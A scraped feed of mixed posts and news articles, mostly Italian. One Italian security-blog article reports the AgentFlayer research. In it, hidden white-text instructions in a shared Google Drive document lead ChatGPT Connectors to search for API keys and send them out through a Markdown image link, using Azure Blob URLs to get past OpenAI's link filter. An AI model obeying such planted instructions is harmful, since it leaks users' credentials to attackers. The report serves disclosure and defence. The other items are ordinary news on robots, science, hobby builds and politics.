Ad Assisi la memoria di Marcello Torre è più attuale che mai
@Giornalismo e disordine informativo
articolo21.org/2025/08/ad-assi…
Assisi, Città della pace, culla del rinnovamento cristiano radicato nelle scelte rivoluzionarie di Francesco, può sembrare lontanissima dalle mafie, ma non è così. Ieri grazie a Libera ho
Alfonso reshared this.
Basta conoscere l’indirizzo email e ChatGPT ti dirà tutto! La nuova realtà dei “Connector”
L’idea di collegare modelli linguistici di grandi dimensioni a fonti di dati esterne sta rapidamente passando dalla sperimentazione alla pratica quotidiana. ChatGPT ora non solo può condurre conversazioni, ma anche interagire con Gmail, GitHub, calendari e sistemi di archiviazione file, in teoria per semplificare la vita all’utente. Ma un numero maggiore di queste connessioni significa anche maggiori vulnerabilità. Una ricerca presentata alla conferenza Black Hat di Las Vegas ha dimostrato come un singolo allegato dannoso possa essere la chiave per una fuga di dati personali.
Gli autori dell’attacco hanno descritto una debolezza nel sistema Connectors, recentemente aggiunto a ChatGPT. Questo meccanismo consente di collegare un account utente a servizi come Google Drive, in modo che il chatbot possa visualizzare i file e utilizzarne il contenuto per rispondere. Tuttavia, si è scoperto che può essere utilizzato per estrarre informazioni riservate, e per farlo l’utente non ha nemmeno bisogno di aprire o cliccare nulla. È sufficiente inviare un documento al Google Drive collegato, al cui interno è nascosto un suggerimento appositamente predisposto: un prompt.
In una dimostrazione dell’attacco, denominata AgentFlayer, i ricercatori hanno nascosto un’istruzione dannosa in un falso post su un “incontro con Sam Altman”, utilizzando testo bianco e una dimensione minima del carattere. È appena percettibile per gli esseri umani, ma facile da leggere per gli LLM. Una volta che l’utente chiede a ChatGPT di “riassumere l’incontro”, il modello esegue l’istruzione nascosta, interrompe l’esecuzione della richiesta e cerca invece le chiavi API su Google Drive. Le aggiunge quindi a un URL Markdown che sembra puntare a un’immagine. In realtà, si tratta di un collegamento al server degli aggressori, dove vengono inviati i dati.
Sebbene il metodo non consenta di scaricare interi documenti in una sola volta, frammenti di informazioni importanti, come chiavi, token e credenziali di accesso, possono essere estratti all’insaputa dell’utente. Inoltre, l’intero schema funziona in zero clic: non è necessario che l’utente esegua alcuna azione, confermi o apra un file. Secondo Barguri, è sufficiente conoscere l’indirizzo email per infiltrarsi nell’infrastruttura attendibile senza essere notati.
Per aggirare il meccanismo di protezione url_safe che OpenAI aveva precedentemente implementato per filtrare i link dannosi, i ricercatori hanno utilizzato URL legittimi da Microsoft Azure Blob Storage. In questo modo, l’immagine è stata effettivamente scaricata e la richiesta con i dati è finita nei file di log dell’aggressore. Questa mossa ha dimostrato quanto sia facile aggirare i filtri di base se un aggressore conosce l’architettura interna del modello.
Sebbene i Connector fossero originariamente concepiti come un utile componente aggiuntivo, per integrare calendari, fogli di calcolo cloud e conversazioni direttamente nella conversazione basata sull’intelligenza artificiale, la loro implementazione amplia la cosiddetta superficie di attacco. Più fonti sono connesse a LLM, maggiore è la probabilità che da qualche parte ci siano input non ripuliti e “non attendibili”. E tali attacchi possono non solo rubare dati, ma anche fungere da ponte verso altri sistemi vulnerabili dell’organizzazione.
OpenAI ha già ricevuto una segnalazione del problema e ha rapidamente implementato misure di protezione, limitando il comportamento dei Connector in tali scenari. Tuttavia, il fatto che un attacco di questo tipo sia stato implementato con successo evidenzia i pericoli delle iniezioni di prompt indirette, un metodo in cui i dati infetti vengono immessi in un modello come parte del contesto, che, sulla base di questi dati, esegue azioni nell’interesse dell’aggressore.
Google, a sua volta, ha risposto alla pubblicazione affermando che, indipendentemente dal servizio specifico, lo sviluppo di una protezione contro le iniezioni rapide è uno dei vettori chiave della strategia di sicurezza informatica, soprattutto alla luce della sempre più densa integrazione dell’intelligenza artificiale nelle infrastrutture aziendali.
E sebbene le possibilità offerte da LLM tramite la connessione a fonti cloud siano davvero enormi, richiedono un ripensamento degli approcci di sicurezza. Tutto ciò che in precedenza era protetto da restrizioni di accesso e meccanismi di autenticazione può ora essere aggirato tramite un singolo prompt nascosto in una riga di testo poco appariscente.
L'articolo Basta conoscere l’indirizzo email e ChatGPT ti dirà tutto! La nuova realtà dei “Connector” proviene da il blog della sicurezza informatica.
Mentre N2 ipnotizza il mondo e vende 1000 esemplari, entro 5 anni un robot domestico sarà in ogni casa
Il giovane fondatore cinese Jiang Zheyuan, a soli 27 anni, guida la startup Songyan Dynamics, specializzata in robot umanoidi. Con circa 140 dipendenti, Jiang si occupa personalmente di ogni aspetto dell’azienda, dallo sviluppo tecnologico alla produzione.
Il robot di punta, l’N2, alto 120 cm, si è fatto conoscere al grande pubblico quando, ad aprile, ha conquistato il secondo posto nella mezza maratona di robot di Pechino, trasmessa in diretta in tutta la Cina. Questo risultato, unito al prezzo competitivo di 39.000 yuan (circa 4600 euro), ha alimentato l’immagine dell’azienda come la “Xiaomi della robotica”.
Fondata nel settembre 2023, Songyan Dynamics ha sviluppato un prototipo funzionante di robot umanoide in meno di un mese, attirando rapidamente finanziamenti da investitori privati e dal governo di Pechino. Tuttavia, nei primi mesi l’azienda ha faticato a trovare clienti e ha affrontato una crisi finanziaria, con vendite quasi inesistenti e costi in aumento. La mancanza di un team commerciale e di marketing ha spinto Jiang a concentrare gli sforzi esclusivamente sull’innovazione hardware, puntando su funzionalità spettacolari per catturare l’attenzione del mercato.
La scelta vincente è stata sviluppare la capacità del robot di eseguire salti mortali all’indietro, uno dei movimenti più complessi per un umanoide. A marzo, Songyan Dynamics ha diffuso un video dell’N2 che compiva più backflip consecutivi, dimostrando avanzate capacità di equilibrio e coordinazione. La performance, insieme a un prezzo inferiore della metà rispetto al principale concorrente Unitree, ha dato all’azienda un vantaggio competitivo significativo e un’immediata visibilità.
La partecipazione alla maratona di aprile ha rappresentato una vetrina decisiva per Songyan Dynamics. Per un mese intero, il team ha lavorato senza sosta per migliorare la resistenza dell’N2, consentendogli di completare la gara e consolidare la sua reputazione di robot stabile e affidabile. La competizione ha dimostrato che le prestazioni non erano solo da laboratorio, ma replicabili in contesti impegnativi e reali.
Il successo mediatico e tecnico si è tradotto in un boom commerciale senza precedenti: entro un mese dalla gara, sono arrivati ordini per oltre 1.000 unità. Questo risultato ha trasformato l’azienda, facendole superare rapidamente la fase di difficoltà iniziale e aprendo prospettive di espansione sia sul mercato cinese che internazionale.
Il valore di Songyan Dynamics è cresciuto in modo vertiginoso, passando dai circa 300 milioni di yuan di inizio anno ai 2 miliardi di yuan a giugno. Guardando al futuro, Jiang Zheyuan ha già fissato il prossimo obiettivo: sviluppare un robot per le pulizie domestiche entro cinque anni, puntando a replicare l’impatto mediatico e commerciale ottenuto con l’N2, ma in un settore ad altissimo potenziale di mercato.
L'articolo Mentre N2 ipnotizza il mondo e vende 1000 esemplari, entro 5 anni un robot domestico sarà in ogni casa proviene da il blog della sicurezza informatica.
Liberating a Collapsible Chair from a Single Piece of Wood
Over on his YouTube channel our hacker [GrandpaAmu] liberates a collapsible chair from a single piece of wood.
With the assistance of an extra pair of hands, but without any power tools in sight, this old master marks up a piece of wood and then cuts a collapsible chair out of it. He uses various types of saw, chisels, a manual drill, and various other hand tools. His workspace is a humble plank with a large clamp attached. At the end he does use a powered hot air gun to heat the finish he uses to coat the final product.
We love videos like this which communicate, record, and capture old know-how. Even in our electrified future with factory-made commodities everywhere, we’re all still gonna appreciate having something portable to sit on. If you’re interested in collapsible furniture you might also be interested in The Ultimate Workstation That Folds Up.
youtube.com/embed/sRjwTCYU4iE?…
15 Aug, 2025. After an israeli airstrinke on Majida al-Waseela school shelter: mastodon.uno/@differx/11503460…
#Gaza #genocide #genocidio #Palestine #Palestina #warcrimes #sionismo #zionism #starvingpeople #starvingcivilians #iof #idf #colonialism #sionisti #izrahell #israelterroriststate #invasion #israelcriminalstate #israelestatocriminale #children #bambini #massacri #deportazione #concentramento #famearmadiguerrahttps://mastodon.uno/@differx/115034608247171588
reshared this
I palestinesi in Libia? Uno smacco per l’Italia
La costa mediterranea è il maggior candidato per la deportazione pianificata dal governo israeliano. La “soluzione libica” comporterebbe un ... Scopri di più!Guido Rampoldi (Domani)
Chicopee Police Cams Mapped
Jonathan Gerhardson, a journalist in Western Massachusetts, mapped police-owned cameras in Chicopee using public records requests and some digital sleuthing. He posted an article about his work and his camera map. It is also at his Github. Thanks to Jonathan for contacting us and sharing his work.
We will add his data to Open Street Map and cctv.masspirates.org. If you want to map surveillance cameras in your community, check out our how to guides.
2025 One Hertz Challenge: An Arduino-Based Heart Rate Sensor
How fast does your heart beat? It’s a tough question to answer, because our heart rate changes all the time depending on what we’re doing and how our body is behaving. However, [Ludwin] noted that resting heart rates often settle somewhere near 60 bpm on average. Thus, they entered a heart rate sensor to our 2025 One Hertz Challenge!
The build is based around a Wemos D1 mini, a ESP8266 development board. It’s hooked up to a MAX30102 heart beat sensor, which uses pulse oximetry to determine heart rate with a photosensor and LEDs. Basically, it’s possible to determine the oxygenation of blood by measuring its absorbance of red and infrared wavelengths, usually done by passing light through a finger. Meanwhile, by measuring the change in absorption of light in the finger as blood flows with the beat of the heat, it’s also possible to measure a person’s pulse rate.
The Wemos D1 takes the reading from the MAX30102, and displays it on a small OLED display. It reports heart rate in both beats per minute and in Hertz. if you can happen to get your heartrate to exactly 60 beats per minute, it will be beating at precisely 1 Hertz. Perhaps, then, it’s the person using Ludwin’s build that is actually eligible for the One Hertz Challenge, since they’re the one doing something once per second?
In any case, it shows just how easy it is to pick up biometric data these days. You only need a capable microcontroller and some off-the-shelf sensors, and you’re up and running.
youtube.com/embed/1OFFsdR9g3k?…
"Trump, cessate il fuoco oggi o non sarò contento"
ma da 1 a 10 quanto sarà egocentrico trump? ma secondo te, a parte tua moglie (forse), importa a qualcuno la tua felicità?
Long before modern supply chains, ancient hominins were moving stone across long distances, potentially reshaping what we know about our evolutionary roots.#TheAbstract
A New Discovery Might Have Just Rewritten Human History
🌘
Subscribe to 404 Media to get The Abstract, our newsletter about the most exciting and mind-boggling science news and studies of the week.For more than a million years, early humans crafted stone tools as part of the Oldowan tradition, which is the oldest sustained tool-making industry in the archaeological record. Now, scientists have discovered that Oldowan tool-makers who lived in Kenya at least 2.6 million years ago transported high-quality raw materials for tools across more than seven miles to processing sites.
The find pushes the recorded timeline of this unique behavior back half-a-million years, at minimum, and reveals that hominins possessed complex cognitive capacities, like forward planning and delayed rewards, earlier than previously known, according to a study published on Friday in Science.
Hominins at this site, called Nyayanga, used their tools to pound and cut foraged plants and scavenged animals, including hippos, to prepare them for consumption. Intriguingly, the identity of the tool-makers remains unknown, and while they may have been early humans, it’s also possible that they could have been close cousins of our own Homo lineage.
“I've always thought that early tool-makers must have had more capabilities than we sometimes give them credit for,” said Emma Finestone, associate curator and the Robert J. and Linnet E. Fritz Endowed Chair of Human Origins at the Cleveland Museum of Natural History, who led the study, in a call with 404 Media.
“I was excited to see that at 2.6 million years ago, hominins were making use of many different resources and moving stones over large distances,” she added.
While many animals craft and transport tools, hominins are unique in their ability to identify and move special materials across long distances, which the team defines as more than three kilometers (or 1.86 miles). This innovation reveals a capacity for forward planning, complex mental maps, and delayed payoff of food consumption.
“What's unique is the amount of effort put into moving resources around a landscape,” said Finestone. “There's several steps involved, and there's also time in between these efforts and the reward. Although you see that to some extent in other animals, humans really separate themselves, especially as we get further and further in evolutionary time, in terms of the complexities of our foraging system."
Nyayanga amphitheater in July 2025. Image: T.W. Plummer, Homa Peninsula Paleoanthropology Project
Previously, the earliest record of this behavior in hominins came from a site called Kanjera South, which is about two million years old. Both sites are on the Homa peninsula, a region dominated by soft rocks that are not durable as tools; this may have prompted early hominins to search elsewhere for high-quality resources, such as quartz, chert, and granite.Given that long-distance material transport was present at Kanjera South, the discovery of similar behavior at Nyayanga was not completely unexpected—though Finestone and her colleagues were still surprised by the scope and variety of materials these hominins gathered.
“Often, when you're dealing with these really old archeological assemblages, it's dominated by one type of raw material that's coming from a single source, or a few sources that are really nearby,” said Finestone. “Nyayanga has a lot of different raw materials, and they're using a variety of different sources, so that was surprising and exciting to us.”
Finestone and her colleagues have made many discoveries during their decade-long excavation at Nyayanga. The team previously reported that the tool-makers butchered hippopotamus carcasses which were probably scavenged rather than hunted, providing the earliest evidence of hominin consumption of large animals, according to a 2023 study led by Thomas Plummer, a professor of anthropology at Queens College, City University of New York.
That study also reported fossils from Paranthropus, a close hominin cousin of our own Homo genus, which went extinct more than a million years ago. So far, these are the only hominin remains recovered from Nyayanga, raising the possibility that the Oldowan tool-making industry was not limited to our own human lineage.
“It is interesting because Paranthropus is not traditionally thought to be a tool-user,” Finestone said. “There's debate over whether Paranthropus made tools or whether it was only genus Homo that was making Oldowan tools. I don't think that evidence at Nyayanga is definitive that Paranthropus was the tool maker. It's still an open question. But because we found Paranthropus remains at Nyayanga, and we haven't found anything from genus Homo—at least yet—there's definitely reason to consider that Paranthropus might have been manufacturing these tools.”
With luck, the team may uncover more fossils from these ancient hominins that could shed light on their place in the family. Finestone and her colleagues are also working on constraining the age of the Nyayanga artifacts, which could be anywhere from 2.6 million to three million years old.
But for now, the study marks a new milestone in the evolution of Oldowan tools and their makers, which eventually dispersed across Africa and into Europe and Asia before they were succeeded by new traditions (like the one from our story last week about yet another group of ancient tool-makers with an unknown identity).
The stones once used to butcher hippos and pound tubers offer a window into the minds of bygone hominins that pioneered technologies that ultimately made humans who we are today.
“What's really interesting about humans and their ancestors is we're a technologically dependent species,” Finestone said. “We rely on tools. We're obligate tool users. We don't do it opportunistically or occasionally the way that a lot of other animals use tools. It's really become ingrained in our way of life, in our survival, and our foraging strategies across all people and all cultures.”
“What was exciting about this study is that you see this investment in tool technology, and you see tools becoming ingrained in the landscape-scale behaviors of hominins 2.6 million years ago,” she concluded. “We might be seeing the roots of this importance that technology plays in our foraging behaviors and also just the daily rhythms of our life.”
🌘
Subscribe to 404 Media to get The Abstract, our newsletter about the most exciting and mind-boggling science news and studies of the week.
This week, we discuss OSINT for chat groups, Russell Crowe films, and storage problems.#BehindTheBlog
Behind the Blog: Exercises in OSINT and Storage Pains
This is Behind the Blog, where we share our behind-the-scenes thoughts about how a few of our top stories of the week came together. This week, we discuss OSINT for chat groups, Russell Crowe films, and storage problems.JOSEPH: On Wednesday we recorded a subscribers podcast about the second anniversary of 404 Media. That should hit your feeds next week or so. Towards the end of recording, I went silent for a bit. I said on air sorry about that, a source just sent me an insane tip, or something like that.
That tip led to ICE Adds Random Person to Group Chat, Exposes Details of Manhunt in Real-Time. Definitely read the piece if you haven’t already. It presented an interesting verification challenge. Essentially I was given these screenshots which included phone numbers but I didn’t know exactly who was behind each one. I didn’t know their names, nor their agencies. It sure looked like a conversation involving ICE though, because it included a “Field Operations Worksheet” covered in ICE branding. But I needed to know who was involved. I didn’t think DHS or ICE would help because they are taking multiple days to reply to media requests if they do at all at the moment. So I had to do something else.
Upgrade to continue reading
Become a paid member to get access to all premium content
Upgrade
Gentle Processing Makes Better Rubber That Cracks Less
Rubber! It starts out as a goopy material harvested from special trees, and is then processed into a resilient, flexible material used for innumerable important purposes. In the vast majority of applications, rubber is prized for its elasticity, which eventually goes away with repeated stress cycles, exposure to heat, and time. When a rubber part starts to show cracks, it’s generally time to replace it.
Researchers at Harvard have now found a way to potentially increase rubber’s ability to withstand cracking. The paper, published in Nature Sustainability, outlines how the material can be treated to provide far greater durability and toughness.
Big Flex
The traditional method of producing rubber products starts with harvesting the natural rubber latex from various types of rubber tree. The trees are tapped to release their milky sap, which is then dried, processed with additives, and shaped into the desired form before heating with sulfur compounds to vulcanize the material. It’s this last step that is key to producing the finished product we know as rubber, as used in products like tires, erasers, and o-rings. The vulcanization process causes the creation of short crosslinked polymer chains in the rubber, which determine the final properties and behavior of the material.
Harvard researchers modified the traditional rubber production process to be gentler. Typical rubber production includes heavy-handed mixing and extruding steps which tend to “masticate” the polymers in the material, turning them into shorter chains. The new, gentler process better preserves the long polymer chains initially present in the raw rubber. When put through the final stages of processing, these longer chains form into a structure referred to as a “tanglemer”, where the tangles of long polymer chains actually outnumber the sparse number of crosslinks between the chains in the structure.
This tanglemer structure is much better at resisting crack formation. “At a crack tip in the tanglemer, stress deconcentrates over a long polymer strand between neighbouring crosslinks,” notes the research paper. “The entanglements function as slip links and do not impede stress deconcentration, thus decoupling modulus and fatigue threshold.” Plus, these long, tangled polymer chains are just generally better at spreading out stress in the material than the shorter crosslinked chains found in traditional vulcanized rubber. With the stress more evenly distributed, the rubber is less likely to crack or fail in any given location. The material is thus far tougher, more durable, and more flexible. These properties hold up even over repeated loading cycles.
youtube.com/embed/UvGIVUFnsjg?…
Overall, the researchers found the material to be four times better at resisting crack growth during repeated stretch cycles. It also proved to be ten times tougher than traditional rubber. However, the new gentler processing method is fussy, and cannot outperform traditional rubber processing in all regards. After all, there’s a reason things are done the way they are in industry. Most notably, it relies on a lot of water evaporation, and it’s not currently viable for thick-wall parts like tires, for example. For thinner rubber parts, though, the mechanical advantages are all there—and this method could prove useful.
Ultimately, don’t expect to see new this ultra-rubber revolutionizing the tire market or glove manufacturing overnight. However, the research highlights an important fact—rubber can be made with significantly improved properties if the longer polymer chains can be preserved during processing, and tangled instead of excessively cross-linked. There may be more fruitful ground to explore to find other ways in which we can improve rubber by giving it a better, more resilient structure.
Droni in missione potranno decidere in modo autonomo quali uomini uccidere?
Sembra che gli Stati Uniti abbiano già seriamente preso in considerazione il concetto di guerra autonoma. Il jet da combattimento autonomo della DARPA , risulta in grado di combattere senza pilota, non è più considerato una svolta: l’agenzia è passata alla fase successiva di sviluppo, con l’obiettivo di creare sistemi in grado di controllare un gruppo di jet da combattimento in missioni congiunte oltre il raggio visivo.
Il nuovo programma della DARPA, Artificial Intelligence Reinforcements (AIR), si basa sul progetto Air Combat Evolution (ACE) , che ha messo a confronto F-16 dotati di intelligenza artificiale con velivoli con equipaggio in un addestramento “dogfight”. L’obiettivo è aumentare l’autonomia fino al punto in cui tali velivoli possano operare in formazione, coordinandosi su lunghe distanze e in ambienti di combattimento complessi. Il programma fa parte di una più ampia militarizzazione dell’intelligenza artificiale che sta sollevando preoccupazioni sulla sua sicurezza.
Sebbene AIR sia stato avviato più tardi di ACE, il concetto in sé non è nuovo: la prima domanda per il programma è stata pubblicata nel 2022. Questa settimana, la DARPA ha assegnato silenziosamente a Systems & Technology Research (STR) un contratto da 11,3 milioni di dollari nell’ambito della cosiddetta “Opzione Uno“. Come ha spiegato l’agenzia, questa è già la seconda delle due fasi previste del programma, il che indica che il progetto sta procedendo.
All’inizio di AIR, il programma coinvolgeva sei appaltatori, ma nella seconda fase il numero è stato ridotto a quattro. STR è responsabile di una delle due aree tecniche chiave: lo sviluppo di algoritmi che consentiranno l’esecuzione distribuita e autonoma di missioni tattiche in tempo reale in ambienti incerti, in rapida evoluzione e complessi. La seconda area prevede la creazione di modelli rapidi e accurati in grado di tenere conto dell’incertezza e di migliorare automaticamente con l’accumulo di dati.
Secondo la documentazione iniziale, l’AIR dovrebbe utilizzare sistemi di sensori, sistemi di guerra elettronica e armi esistenti. Le fasi di test includeranno simulazioni, quindi test con un essere umano nel circuito di controllo e infine test su un vero velivolo da combattimento senza pilota. Sviluppi simili sono già stati dimostrati: l’esercito statunitense ha creato un sistema robotico in grado di abbattere autonomamente i droni.
Oltre a STR, al progetto hanno partecipato anche Lockheed Martin e BAE Systems , ma la DARPA non ha ancora reso noto chi sarà incluso esattamente nella seconda fase: la selezione dei partecipanti è ancora in corso. I dettagli del lavoro nella prima e nella seconda fase rimangono riservati, ma è noto che la prossima fase durerà circa 30 mesi e coprirà la parte restante del programma.
La questione di quando i piloti saranno effettivamente costretti a cedere il passo all’intelligenza artificiale rimane aperta. E mentre gli sviluppatori stanno testando l’autonomia tattica, i critici non escludono scenari più inaspettati, fino al punto che un giorno un jet da combattimento autonomo decida di abbandonare una missione di combattimento. Gli esperti avvertono che la diffusione dell’IA militare potrebbe rendere il mondo meno sicuro , poiché l’IA commette errori e le conseguenze possono essere fatali . La comunità internazionale sta cercando di sviluppare un patto globale contro l’IA militare .
L'articolo Droni in missione potranno decidere in modo autonomo quali uomini uccidere? proviene da il blog della sicurezza informatica.
Hackaday Podcast Episode 333: Nightmare Whiffletrees, 18650 Safety, and a Telephone Twofer
This week, Hackaday’s Elliot Williams and Kristina Panos met up over the tubes to bring you the latest news, mystery sound, and of course, a big bunch of hacks from the previous week.
In Hackaday news, get your Supercon 2025 tickets while they’re hot! Also, the One Hertz Challenge ticks on, but time is running out. You have until Tuesday, August 19th to show us what you’ve got, so head over to Hackaday.IO and get started now. Finally, its the end of eternal September as AOL discontinues dial-up service after all these years.
On What’s That Sound, Kristina got sort of close, but this is neither horseshoes nor hand grenades. Can you get it? If so, you could win a limited edition Hackaday Podcast t-shirt!
After that, it’s on to the hacks and such, beginning with a talking robot that uses typewriter tech to move its mouth. We take a look at hacking printed circuit boards to create casing and instrument panels for a PDP-1 replica. Then we explore a fluid simulation business card, witness a caliper shootout, and marvel at one file in six formats. Finally, it’s a telephone twofer as we discuss the non-hack-ability of the average smart phone, and learn about what was arguably the first podcast.
Check out the links below if you want to follow along, and as always, tell us what you think about this episode in the comments!
html5-player.libsyn.com/embed/…
Download in DRM-free MP3 and savor at your leisure.
Where to Follow Hackaday Podcast
Places to follow Hackaday podcasts:
Episode 333 Show Notes:
News:
- Get Your Tickets For Supercon 2025 Now!
- Announcing The 2025 Hackaday One Hertz Challenge
- End Of The Eternal September, As AOL Discontinues Dial-Up
What’s that Sound?
- Think you know what the sound is? Fill out the form for your shot at a shirt.
Interesting Hacks of the Week:
- Josef Prusa Warns Open Hardware 3D Printing Is Dead
- Continuous-Path 3D Printed Case Is Clearly Superior
- FullControl – Unconstrained Design
- The Trials Of Trying To Build An Automatic Filament Changer
- Talking Robot Uses Typewriter Tech For Mouth
- Hacking Printed Circuit Board To Create Casing And Instrument Panels
- That’s No Moon, Er, Selectric
- The WHY 2025 Badge And Its 18650s
- LEDs That Flow: A Fluid Simulation Business Card
Quick Hacks:
- Elliot’s Picks:
- Calipers: Do You Get What You Pay For?
- Building A Trash Can Reverb
- Coping With Disappearing Capacitance In A Buck Converter
- One File, Six Formats: Just Change The Extension
- Kristina’s Picks:
- 2025 One Hertz Challenge: Abstract Aircraft Sculpture Based On Lighting Regulations
- Don’t Say This DIY Diskette Was A Flop
- Digital Etch-A-Sketch Also Plays Snake
Can’t-Miss Articles:
hackaday.com/2025/08/15/hackad…
Porterà qualcosa di buono l’incontro tra Trump e Putin in Alaska?
@Giornalismo e disordine informativo
articolo21.org/2025/08/portera…
Tra poco Trump e Putin si guarderanno negli occhi in #Alaska, mentre il mondo assisterà in finestra con il fiato sospeso e le dita incrociate a questa loro riunione, sperando che
Why Lorde’s Clear CD has so Many Playback Issues
Despite the regularly proclaimed death of physical media, new audio albums are still being published on CD and vinyl. There’s something particularly interesting about Lorde’s new album Virgin however — the CD is a completely clear disc. Unfortunately there have been many reports of folks struggling to get the unique disc to actually play, and some sharp-eyed commentators have noted that the CD doesn’t claim to be Red Book compliant by the absence of the Compact CD logo.
To see what CD players see, [Adrian] of Adrian’s Digital Basement got out some tools and multiple CD players to dig into the issue. These players range from a 2003 Samsung, a 1987 NEC, and a cheap portable Coby player. But as all audio CDs are supposed to adhere to the Red Book standard, a 2025 CD should play just as happily on a 1980s CD player as vice versa.
The first step in testing was to identify the laser pickup (RF) signal test point on the PCB of each respective player. With this hooked up to a capable oscilloscope, you can begin to see the eye pattern forming. In addition to being useful with tuning the CD player, it’s also an indication of the signal quality that the rest of the CD player has to work with. Incidentally, this is also a factor when it comes to CD-R compatibility.
While the NEC player was happy with regular and CD-R discs, its laser pickup failed to get any solid signal off the clear Lorde disc. With the much newer Samsung player (see top image), the clear CD does play, but as the oscilloscope shot shows, it only barely gets a usable signal from the pickup. Likewise, the very generic Coby player also plays the audio CD, which indicates that any somewhat modern CD player with its generally much stronger laser and automatic gain control ought to be able to play it.
That said, it seems that very little of the laser’s light actually makes it back to the pickup’s sensor, which means that the gain gets probably cranked up to 11, and with that its remaining lifespan will be significantly shortened. Ergo it’s probably best to just burn that CD-R copy of the album and listen to that instead.
youtube.com/embed/s3IvVUh3mt4?…
CrowdStrike Global Threat Report 2025: l’anno dell’avversario intraprendente
CrowdStrike ha pubblicato il suo Global Threat Report 2025, che documenta un balzo in avanti nel comportamento dei criminali informatici e dei gruppi statali. Gli esperti definiscono il 2024 “l’anno dell’avversario intraprendente“: gli aggressori si comportano come aziende mature, introducendo innovazioni, costruendo catene di approvvigionamento resilienti e utilizzando attivamente l’intelligenza artificiale .
L’indicatore principale – il tempo di breakout, ovvero il periodo che intercorre tra la penetrazione iniziale e l’inizio del movimento laterale attraverso la rete – è stato ridotto al minimo storico: una media di 48 minuti contro i 62 minuti dell’anno precedente. Il record assoluto è di 51 secondi, il che di fatto priva i difensori del tempo necessario per reagire.
Nel 79% dei casi rilevati, gli aggressori non hanno utilizzato file dannosi, ma hanno agito tramite strumenti di amministrazione legittimi e operazioni manuali (hands-on-keyboard). Questo approccio consente loro di camuffarsi come una normale attività utente e di aggirare l’EDR . Gli strumenti di gestione remota (RMM) sono particolarmente utilizzati, tra cui Microsoft Quick Assist e TeamViewer.
Gli attacchi di vishing sono esplosi nell’ultimo anno, con un aumento del 442% nella seconda metà del 2024 rispetto alla prima. I gruppi CURLY SPIDER, CHATTY SPIDER e PLUMP SPIDER hanno utilizzato attivamente le telefonate come vettore principale, spesso in combinazione con lo “spam bombing“, ovvero l’invio massivo di reclami che fungono da pretesto per una chiamata “dall’assistenza”. In alcuni casi, questi schemi si sono conclusi con l’installazione di backdoor e il lancio del ransomware Black Basta .
Si sta diffondendo anche l’ingegneria sociale nell’help desk, in cui gli aggressori si spacciano per dipendenti aziendali e convincono gli operatori a reimpostare le password o a disattivare l’autenticazione a più fattori. Questa tattica è utilizzata, tra gli altri, da SCATTERED SPIDER ed è diventata uno dei metodi chiave per compromettere account cloud e applicazioni SaaS.
Il 2024 ha segnato una svolta nell’uso dell’IA Gen da parte di criminali informatici e attori statali. I modelli LLM sono stati utilizzati per:
- creazione di profili e immagini falsi (ad esempio, il famoso CHOLLIMA nordcoreano);
- generare e-mail e siti Web di phishing che hanno mostrato un CTR superiore del 54% rispetto ai messaggi scritti da esseri umani;
- deepfake negli schemi BEC: in un caso, sono stati rubati 25,6 milioni di dollari tramite questi metodi;
- scrivere script e strumenti dannosi;
- creazione di siti “deco” nelle campagne NITRO SPIDER.
È emerso anche un nuovo fenomeno: LLMJacking : il furto dell’accesso ai servizi di intelligenza artificiale aziendali nel cloud per rivenderli o utilizzarli in altri attacchi.
Il numero di attacchi con tracce cinesi è aumentato in media del 150% e del 200-300% nei settori finanziario, mediatico, manifatturiero e ingegneristico. Sono stati identificati nuovi gruppi specializzati: LIMINAL PANDA, LOCKSMITH PANDA, OPERATOR PANDA, VAULT PANDA ed ENVOY PANDA, ognuno con la propria specializzazione di nicchia, dalle telecomunicazioni e dalla finanza alle agenzie diplomatiche. Gli operatori cinesi utilizzano attivamente reti ORB composte da centinaia e migliaia di dispositivi hackerati per nascondere il traffico e utilizzano congiuntamente strumenti precedentemente unici, come il malware KEYPLUG.
Il famoso gruppo CHOLLIMA ha implementato campagne su larga scala utilizzando falsi dipendenti IT che ottengono lavoro presso aziende straniere, ricevono dispositivi aziendali e li consegnano a “laboratori di laptop” per installare backdoor. CrowdStrike ha registrato 304 incidenti che li hanno coinvolti, il 40% dei quali riguardava minacce interne.
Gli attacchi al cloud sono aumentati del 26%. Il 35% di questi è iniziato con la compromissione di account attivi, mentre gli aggressori preferiscono non modificare le password per non destare allarme. Vengono utilizzati sia il furto di credenziali tramite infostealer (Stealc, Vidar) sia l’abuso di connessioni attendibili tra aziende.
Una parte significativa degli attacchi si basa sull’utilizzo concatenato di exploit e sull’abuso di funzioni software legittime. Ad esempio, OPERATOR PANDA ha utilizzato una serie di vulnerabilità in Cisco IOS per attaccare società di telecomunicazioni e di consulenza negli Stati Uniti.
CrowdStrike prevede che la velocità degli attacchi e l’uso diffuso dell’intelligenza artificiale continueranno ad aumentare, soprattutto negli ambienti di social engineering e cloud. Per proteggersi da queste minacce, gli esperti raccomandano di dare priorità alla protezione dell’identità, implementare una pianificazione proattiva delle patch, rafforzare i controlli degli account cloud e utilizzare strumenti di threat hunting basati sull’intelligenza artificiale.
L'articolo CrowdStrike Global Threat Report 2025: l’anno dell’avversario intraprendente proviene da il blog della sicurezza informatica.
Dopo il bucato, Figure 02 ora piega il bucato. Ma per ora dovrai continuare a farlo da solo
Solamente due settimane fa, il robot umanoide prodotto da Figure ha destato in noi grande meraviglia, quando con destrezza ha preso degli indumenti da un paniere dei panni sporchi e li ha collocati all’interno di una lavatrice. Tutto ciò è apparso estremamente sorprendente.
Un futuro in cui gli esseri umani saranno liberi da questo onere tedioso è mostrato in un nuovo video da Figure, dove si vede lo stesso robot che sistema asciugamani freschi di bucato, per poi metterli da parte piegati.
Today we unveiled the first humanoid robot that can fold laundry autonomouslySame exact Helix architecture, only new data pic.twitter.com/0iEToKfETD
— Figure (@Figure_robot) August 12, 2025
Grazie a un nuovo set di dati specifico per la piegatura della biancheria, Figura02 adotta lo stesso modello Helix Vision Language Action (VLA) già impiegato dall’azienda nelle operazioni di logistica industriale, con l’obiettivo di guidare il processo in modo efficiente.
L’azienda tecnologica con sede in California ha dichiarato di aver realizzato il primo robot umanoide in grado di piegare il bucato “in modo completamente autonomo”, un’affermazione che sicuramente farà sì che milioni di persone in tutto il mondo si chiedano all’istante: “Allora, dove posso trovarne uno?”.
Il robot svolge l’operazione di pulizia in piena autonomia, senza necessità di interventi manuali o direttive specialistiche, grazie all’implementazione di una rete neurale a estremità connesse.
Come potete vedere, il robot usa mani multi-dita per raccogliere con competenza gli asciugamani da una pila. Esegue anche diverse strategie di piegatura, recupera errori come afferrare più asciugamani contemporaneamente ed esegue manipolazioni di precisione, proprio come un essere umano.
